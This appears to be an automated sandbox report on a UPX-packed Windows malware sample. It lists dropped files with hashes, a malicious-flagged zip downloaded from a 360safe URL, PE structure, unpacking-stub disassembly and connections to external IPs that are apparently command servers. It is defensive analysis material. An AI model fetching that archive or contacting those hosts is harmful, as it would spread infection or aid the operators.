File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 20:46:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9949417424792153
Encrypted:	false
SSDEEP:	48:8/2dKDTqLQbH5idAKZdA1vehDiZUkwqehHy+R:81D2seNy
MD5:	A5853D7A72A88AD4A38D33E14253E048
SHA1:	F8161349D47137C2F60E9EA206C0E78B099C6BB1
SHA-256:	1887A4B5650F4A45658DB51CFF4072C98E3803822098591FC4950350247F3330
SHA-512:	802DE0C6261404CFDDF51DBBCD35D18BE9ECBE896F549750F2509E152277EC884764687F8F9E96C80A4E5CA9FC4867793AA359B33DD15E2C2F753D79CBDFFB5C
Malicious:	false
Preview:	L..................F.@.. ...$+.,......w1.!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IRY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 20:46:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.985848347877962
Encrypted:	false
SSDEEP:	48:8w2dKDTqLQbH5idAKZdA1hehBiZUk1W1qehBy+C:8CD2su9hy
MD5:	B8F13ED2945B3668E682D0706D627B9E
SHA1:	201D0A5AC02B51EAED1BBDB3D28EB6C4AD9A4F1F
SHA-256:	451816BBFB6B18CF039FF3CB33A7CEA1B1BD23C255CC9BC0A4CBC3A97C11154B
SHA-512:	03CE54F546312232F8C0547589B45741A1022C00323D9C77D1A8FCC6ADDFAD8B6DA626788952B0D0A69E55FF95B3D7F9CD674629078C5CD9FA0D54F85020D86E
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......1.!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IRY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 20:46:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9927294761548904
Encrypted:	false
SSDEEP:	48:8s2dKDTqLQbH5idAKZdA1duT+ehOuTbbiZUk5OjqehOuTb/y+yT+:8OD2sQT/TbxWOvTb/y7T
MD5:	5AD407974EA9BE7F2ABEC4B07CFF93A1
SHA1:	97AFEF93F0AD713CFE5F7A9B98828E73CDE3C26B
SHA-256:	392B653F178EE2274BE458D340CFFB0F447C85369FECC3AEF9E4C9E514DA0244
SHA-512:	4B13C58461D822B761FC84190B259AC5DCA6C34C86999E282B8E27325C20FBAE81D1CAD85C563A0A1D5703602A00BF44265990A46220F16C54E04C991E64F5FF
Malicious:	false
Preview:	L..................F.@.. ...$+.,......n1.!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IRY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\awsip\cloudx23748.ip

Download File

Process:	C:\Users\user\Desktop\ [ ].exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.769972353673806
Encrypted:	false
SSDEEP:	24:UJiwgqKiE2hrPyxUEl7okLTL4pptPOMSWwnIe6GwAmfYzL:UJiwTKoJanpokkptPlMnR0kzL
MD5:	6A0201484A673DEA71AE33BCB597E2D2
SHA1:	D13E32ACBC9A19E9E515E9B509E461CF2D56B870
SHA-256:	AEDEF0C9F61C8E1811B1D6492D46F5AFC53CB8062F4046A7CA49F3F1A4D7EA4B
SHA-512:	29F31CDD042ECF833E8F7CB2935A9C513B09E5C8D961B0C5C9C94C919C6398AB127D68576EAFF696A66C144FFEFF4CD78C2D56E84D38B79EA8FE2D77638CD207
Malicious:	false
Preview:	.......y=."#.p..D-z.U.p^.E.kF8...p#.L.y..,IjXA.{P.N8.!.,...U..q.j...6cey,!x...s..m..^!G..7.....g...I.........G..p).cN..P...qm;........u&F&...).\|._...J....f..5.q.b}F.0....%P..'./...}.Y.?.o3Z$..{.......Z...F..{l..D..l!.&x%O.Gi_..]....G.......anU...4..L...GC.[......k.v..6..#...q(;qh.@<..40.Y{>..4..$)\|....rQ..GC....^..Pt.WD...Z.n.._..f...h=.N.f-.)....../;.Jv.+.o\|...hZ`..#.^e...Y.-...<g..zZ...;.S.C.1....}.t..k2+pY..M._\..K....=...kt..Y.)/..,....[.....9...\|F.....c-`.......p..pY.a..kC..q..a:..o.n.......!vx..P[v.?".Y ........T.....G....<.Dv...4..@..O]..iNs[.j].U=.X.cW=;.".*$..LV.sv)?.......`..bu.Zc.E...8...[.3...lE>.wx.@.a...............r.[...<.Z...:........>PU...z.t.v.2.:\|..jL..Jf.NT.s..ZG.W)l.n;..:EJ<.....9......[.............q..y.,i.../7....KH...o&...aB...^!.....E2B/#w.?..vz.<...V....:.Y7.1.....E.._.p............spYD.C........@'..L..V....J)\|.:.__...S.....eE.

C:\Users\user\AppData\Roaming\clinkm2.data

Download File

Process:	C:\Users\user\Desktop\ [ ].exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.1016610525621062
Encrypted:	false
SSDEEP:	3:XFMSC32RW/5:VMSCT
MD5:	E737523511DF97072FAA2ABBB4A3BDDE
SHA1:	74A50514F8C59578AF4A98A2A551C110C496DE43
SHA-256:	EBA30B684A4BFDD0CDD4ACC794A387CDA2C2B0D7862EFA360C4CE991FBDE1E24
SHA-512:	4FF6C2E6991DCA4B3B1DCB78DA09B875F5D26DA73948155562F61C3C33F9A5CDA8018DDD0AB79264FF3B7E29A70CBC34824AC7EC8E19FD23E04FB9EB2BAC2B87
Malicious:	false
Preview:	.S..ccfece26e77b4ee3b7e64e679a3780be....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Downloads\360c0mpkill5.1.64.1238-0809.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	36849564
Entropy (8bit):	7.998267692270532
Encrypted:	true
SSDEEP:	786432:gDo7EN04umDV6FdFg6xz/Xiy+o9rHf0cRlRBiHxcP4wDo7E6QZ15+JAgmSFv:ZR4tYPZr1lB4hH7A4JAoFv
MD5:	E380E1BEF59D47909ECC35283EB2F359
SHA1:	5D74CC6BDF1326ABF9C5091DA8CDA426B4C25BFD
SHA-256:	F482F931E808CD396EEFBAFA64A053E97E7FAF6052FCFE6CFB72280E71577A60
SHA-512:	82676833F832D4DE9A3E642C89B9E6A23F85D0A8C6FDDC81F940DDD1A0620852D3EDDCF210F7AE251E479D230A5FFE0A43886E1075DE02658CA9EB871C09B16C
Malicious:	true
Preview:	PK........G..O................360compkill64/..PK..............PK........G..O............)...360compkill64/360...................bat.S.j.A........$[.$...A.WI.....+n.N.]...?.P.H.!.H.......\.U........d....o.7;.V.a.q..:F.Hx........pr.........\|.:..p.c..X....JxE.V....1...8.D.....V.+.w2.D.Z.E.x...E..9.t.M.5......o...T-e3No.-.gw...~r..~.U.L..~._.g..Ny;G..i....KS..p.A...O.07.H.I..Z...r..d&>...5..@.Ri.....g.}#...J..,.^J.r..+.3...AY.(E.."..mWj.+..2.7..j>.0\.kZZ?i..\|......,.i........d..6-..i...".aH.D....&-.6~BS...N3..h...!.@.}.......O.~...}.5.u..PK...>.....f...PK........G..O................360compkill64/ave/..PK..............PK........G..O................360compkill64/ave/360ave.def.}.TS..w.........b%..D..b.EDQQQ.h@D.b..$..b....U......{.B$.(.F...$.......Z.....].....Ho.gQ..Dz..^9[....]oX...Yw..w...."]`C...I.U)]bm.......Jivgv..].^r.h....JiZu.@[.Rs....C?.~..~nR.....H...+6....J..JE~..~.]R=.}t.$...}...C.(....o;.nYB.Y._u.......VD.#.[...).K6.VY..U..>........On.

C:\Users\user\Downloads\360c0mpkill5.1.64.1238-0809.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	36849564
Entropy (8bit):	7.998267692270532
Encrypted:	true
SSDEEP:	786432:gDo7EN04umDV6FdFg6xz/Xiy+o9rHf0cRlRBiHxcP4wDo7E6QZ15+JAgmSFv:ZR4tYPZr1lB4hH7A4JAoFv
MD5:	E380E1BEF59D47909ECC35283EB2F359
SHA1:	5D74CC6BDF1326ABF9C5091DA8CDA426B4C25BFD
SHA-256:	F482F931E808CD396EEFBAFA64A053E97E7FAF6052FCFE6CFB72280E71577A60
SHA-512:	82676833F832D4DE9A3E642C89B9E6A23F85D0A8C6FDDC81F940DDD1A0620852D3EDDCF210F7AE251E479D230A5FFE0A43886E1075DE02658CA9EB871C09B16C
Malicious:	false
Preview:	PK........G..O................360compkill64/..PK..............PK........G..O............)...360compkill64/360...................bat.S.j.A........$[.$...A.WI.....+n.N.]...?.P.H.!.H.......\.U........d....o.7;.V.a.q..:F.Hx........pr.........\|.:..p.c..X....JxE.V....1...8.D.....V.+.w2.D.Z.E.x...E..9.t.M.5......o...T-e3No.-.gw...~r..~.U.L..~._.g..Ny;G..i....KS..p.A...O.07.H.I..Z...r..d&>...5..@.Ri.....g.}#...J..,.^J.r..+.3...AY.(E.."..mWj.+..2.7..j>.0\.kZZ?i..\|......,.i........d..6-..i...".aH.D....&-.6~BS...N3..h...!.@.}.......O.~...}.5.u..PK...>.....f...PK........G..O................360compkill64/ave/..PK..............PK........G..O................360compkill64/ave/360ave.def.}.TS..w.........b%..D..b.EDQQQ.h@D.b..$..b....U......{.B$.(.F...$.......Z.....].....Ho.gQ..Dz..^9[....]oX...Yw..w...."]`C...I.U)]bm.......Jivgv..].^r.h....JiZu.@[.Rs....C?.~..~nR.....H...+6....J..JE~..~.]R=.}t.$...}...C.(....o;.nYB.Y._u.......VD.#.[...).K6.VY..U..>........On.

C:\Users\user\Downloads\d6accaba-12cd-457a-ab40-8dc90346440d.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	14081
Entropy (8bit):	7.962204789006737
Encrypted:	false
SSDEEP:	384:pqQDx/hEh1s7PTwK+QiQPYmki+t1NF9M1:pqQV/hKe7bwK+QFYm494
MD5:	E0999531AFC0C1990DC875A9DDC3491A
SHA1:	E3F950808FAE8DF4BED4E8566340E745B9F229C3
SHA-256:	3BD59FA45C774628FE29FF8CB4A8B0EBAA10D1DB180266CE462A5A792EA6702E
SHA-512:	D301769018AC47956CE4C6D92FB7E0392695021C64F94A9A973D685A03EA83D5386EF1DD5433F95FC0CA3DD8CE3A08D25B212A08A0DFEED465BC9EAC4925659A
Malicious:	false
Preview:	PK........G..O................360compkill64/..PK..............PK........G..O............)...360compkill64/360...................bat.S.j.A........$[.$...A.WI.....+n.N.]...?.P.H.!.H.......\.U........d....o.7;.V.a.q..:F.Hx........pr.........\|.:..p.c..X....JxE.V....1...8.D.....V.+.w2.D.Z.E.x...E..9.t.M.5......o...T-e3No.-.gw...~r..~.U.L..~._.g..Ny;G..i....KS..p.A...O.07.H.I..Z...r..d&>...5..@.Ri.....g.}#...J..,.^J.r..+.3...AY.(E.."..mWj.+..2.7..j>.0\.kZZ?i..\|......,.i........d..6-..i...".aH.D....&-.6~BS...N3..h...!.@.}.......O.~...}.5.u..PK...>.....f...PK........G..O................360compkill64/ave/..PK..............PK........G..O................360compkill64/ave/360ave.def.}.TS..w.........b%..D..b.EDQQQ.h@D.b..$..b....U......{.B$.(.F...$.......Z.....].....Ho.gQ..Dz..^9[....]oX...Yw..w...."]`C...I.U)]bm.......Jivgv..].^r.h....JiZu.@[.Rs....C?.~..~nR.....H...+6....J..JE~..~.]R=.}t.$...}...C.(....o;.nYB.Y._u.......VD.#.[...).K6.VY..U..>........On.

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	downloaded
Size (bytes):	36849564
Entropy (8bit):	7.998267692270532
Encrypted:	true
SSDEEP:	786432:gDo7EN04umDV6FdFg6xz/Xiy+o9rHf0cRlRBiHxcP4wDo7E6QZ15+JAgmSFv:ZR4tYPZr1lB4hH7A4JAoFv
MD5:	E380E1BEF59D47909ECC35283EB2F359
SHA1:	5D74CC6BDF1326ABF9C5091DA8CDA426B4C25BFD
SHA-256:	F482F931E808CD396EEFBAFA64A053E97E7FAF6052FCFE6CFB72280E71577A60
SHA-512:	82676833F832D4DE9A3E642C89B9E6A23F85D0A8C6FDDC81F940DDD1A0620852D3EDDCF210F7AE251E479D230A5FFE0A43886E1075DE02658CA9EB871C09B16C
Malicious:	false
URL:	http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip
Preview:	PK........G..O................360compkill64/..PK..............PK........G..O............)...360compkill64/360...................bat.S.j.A........$[.$...A.WI.....+n.N.]...?.P.H.!.H.......\.U........d....o.7;.V.a.q..:F.Hx........pr.........\|.:..p.c..X....JxE.V....1...8.D.....V.+.w2.D.Z.E.x...E..9.t.M.5......o...T-e3No.-.gw...~r..~.U.L..~._.g..Ny;G..i....KS..p.A...O.07.H.I..Z...r..d&>...5..@.Ri.....g.}#...J..,.^J.r..+.3...AY.(E.."..mWj.+..2.7..j>.0\.kZZ?i..\|......,.i........d..6-..i...".aH.D....&-.6~BS...N3..h...!.@.}.......O.~...}.5.u..PK...>.....f...PK........G..O................360compkill64/ave/..PK..............PK........G..O................360compkill64/ave/360ave.def.}.TS..w.........b%..D..b.EDQQQ.h@D.b..$..b....U......{.B$.(.F...$.......Z.....].....Ho.gQ..Dz..^9[....]oX...Yw..w...."]`C...I.U)]bm.......Jivgv..].^r.h....JiZu.@[.Rs....C?.~..~nR.....H...+6....J..JE~..~.]R=.}t.$...}...C.(....o;.nYB.Y._u.......VD.#.[...).K6.VY..U..>........On.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.999521539081237
TrID:	Win32 Executable (generic) a (10002005/4) 99.39% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
File size:	13'843'291 bytes
MD5:	69885c444a95500286ec5fe05e564990
SHA1:	d8b1bec23932c607cfe420496f3f80bde9207955
SHA256:	526d2385da97308568e905d976dd976b95dc8f0c1f7d5155e543c6825b74dc46
SHA512:	4a22747f5f2e35f1a18e669114b0db90185c60db017f3887d75b33a2ca0d29d523f8760fa7e2a73dbe68737a93ae4dc93f88f55c1f18371c8b6ade67672300e3
SSDEEP:	393216:QdXg3mXTzR/2MNBSTRZdbQtSF/K3j3Or8:IQu/2MDSTPJmVP
TLSH:	A2D6237FA305DCA6A9BD5090FCD9E12B6E96EFED6341A4CC6DC68306D6971039CA0C1C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........EA...A...A.......[...w...........D...A.......w...P...A...@.......C.......@...RichA...........PE..L......f...................

File Icon


Icon Hash:	f4f47474e4b0b6de

Static PE Info

General

Entrypoint:	0xe365a0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x66FAB1A2 [Mon Sep 30 14:11:46 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e7e355ac0da5b0dd6c80ff7cfdae5e4d

Entrypoint Preview

Instruction
pushad
mov esi, 00E2E000h
lea edi, dword ptr [esi-00A2D000h]
push edi
mov ebp, esp
lea ebx, dword ptr [esp-00003E80h]
xor eax, eax
push eax
cmp esp, ebx
jne 00007F4CD4B035EDh
inc esi
inc esi
push ebx
push 00A34573h
push edi
add ebx, 04h
push ebx
push 00008598h
push esi
add ebx, 04h
push ebx
push eax
mov dword ptr [ebx], 00020003h
nop
nop
nop
nop
nop
push ebp
push edi
push esi
push ebx
sub esp, 7Ch
mov edx, dword ptr [esp+00000090h]
mov dword ptr [esp+74h], 00000000h
mov byte ptr [esp+73h], 00000000h
mov ebp, dword ptr [esp+0000009Ch]
lea eax, dword ptr [edx+04h]
mov dword ptr [esp+78h], eax
mov eax, 00000001h
movzx ecx, byte ptr [edx+02h]
mov ebx, eax
shl ebx, cl
mov ecx, ebx
dec ecx
mov dword ptr [esp+6Ch], ecx
movzx ecx, byte ptr [edx+01h]
shl eax, cl
dec eax
mov dword ptr [esp+68h], eax
mov eax, dword ptr [esp+000000A8h]
movzx esi, byte ptr [edx]
mov dword ptr [ebp+00h], 00000000h
mov dword ptr [esp+60h], 00000000h
mov dword ptr [eax], 00000000h
mov eax, 00000300h
mov dword ptr [esp+64h], esi
mov dword ptr [esp+5Ch], 00000001h
mov dword ptr [esp+58h], 00000001h
mov dword ptr [esp+54h], 00000001h

Rich Headers

Programming Language:

[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) build 8168
[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa40a14	0xdc	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa38000	0x8a14	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0xa2d000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0xa2e000	0xa000	0x9200	8fa520b8cee27ea7c0f5ecc38721bdd6	False	0.965111301369863	ARC archive data, packed	7.960562400694036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xa38000	0x9000	0x8c00	3bcd95ebfced3b9828b48945fa9f25fe	False	0.7511439732142857	data	6.382863225914091	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xa381b0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	Chinese	China	0.7640529050543221
RT_ICON	0xa3c3dc	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.7690127538970241
RT_GROUP_ICON	0xa40608	0x16	data			1.0909090909090908
RT_GROUP_ICON	0xa40624	0x14	data	Chinese	China	1.1
RT_VERSION	0xa4063c	0x264	data	Chinese	China	0.4526143790849673
RT_MANIFEST	0xa408a4	0x16f	XML 1.0 document, ASCII text, with CRLF line terminators	Chinese	China	0.6103542234332425

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
USER32.dll	wsprintfA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 23:45:58.086911917 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 18, 2024 23:45:58.258723021 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 18, 2024 23:45:58.290059090 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 18, 2024 23:46:06.994555950 CEST	49704	511	192.168.2.5	115.236.153.253
Oct 18, 2024 23:46:06.999690056 CEST	511	49704	115.236.153.253	192.168.2.5
Oct 18, 2024 23:46:06.999835968 CEST	49704	511	192.168.2.5	115.236.153.253
Oct 18, 2024 23:46:07.102566004 CEST	49704	511	192.168.2.5	115.236.153.253
Oct 18, 2024 23:46:07.107835054 CEST	511	49704	115.236.153.253	192.168.2.5
Oct 18, 2024 23:46:07.696244001 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 18, 2024 23:46:07.868175030 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 18, 2024 23:46:07.899422884 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 18, 2024 23:46:08.009958982 CEST	511	49704	115.236.153.253	192.168.2.5
Oct 18, 2024 23:46:08.010092974 CEST	49704	511	192.168.2.5	115.236.153.253
Oct 18, 2024 23:46:08.015489101 CEST	511	49704	115.236.153.253	192.168.2.5
Oct 18, 2024 23:46:08.015551090 CEST	49704	511	192.168.2.5	115.236.153.253
Oct 18, 2024 23:46:08.527849913 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:08.527972937 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:08.538494110 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:08.538513899 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:08.538595915 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:08.538943052 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:08.542378902 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:08.542514086 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:08.547297955 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:08.547396898 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:08.547794104 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:08.547847033 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:08.556180000 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:08.556324005 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:08.556606054 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:08.556618929 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:08.561281919 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:08.561299086 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:08.561362028 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:08.561440945 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:08.561477900 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:08.561502934 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:08.562938929 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:08.563009024 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:09.384247065 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:09.390548944 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:09.411442995 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:09.411472082 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:09.411617041 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:09.411828041 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:09.411988974 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:09.418452978 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:09.418596983 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:09.428720951 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:09.429097891 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:09.434503078 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:09.446878910 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:09.447184086 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:09.452167988 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:09.459995031 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:09.460007906 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:09.460364103 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:09.460515976 CEST	49708	300	192.168.2.5	103.192.208.24
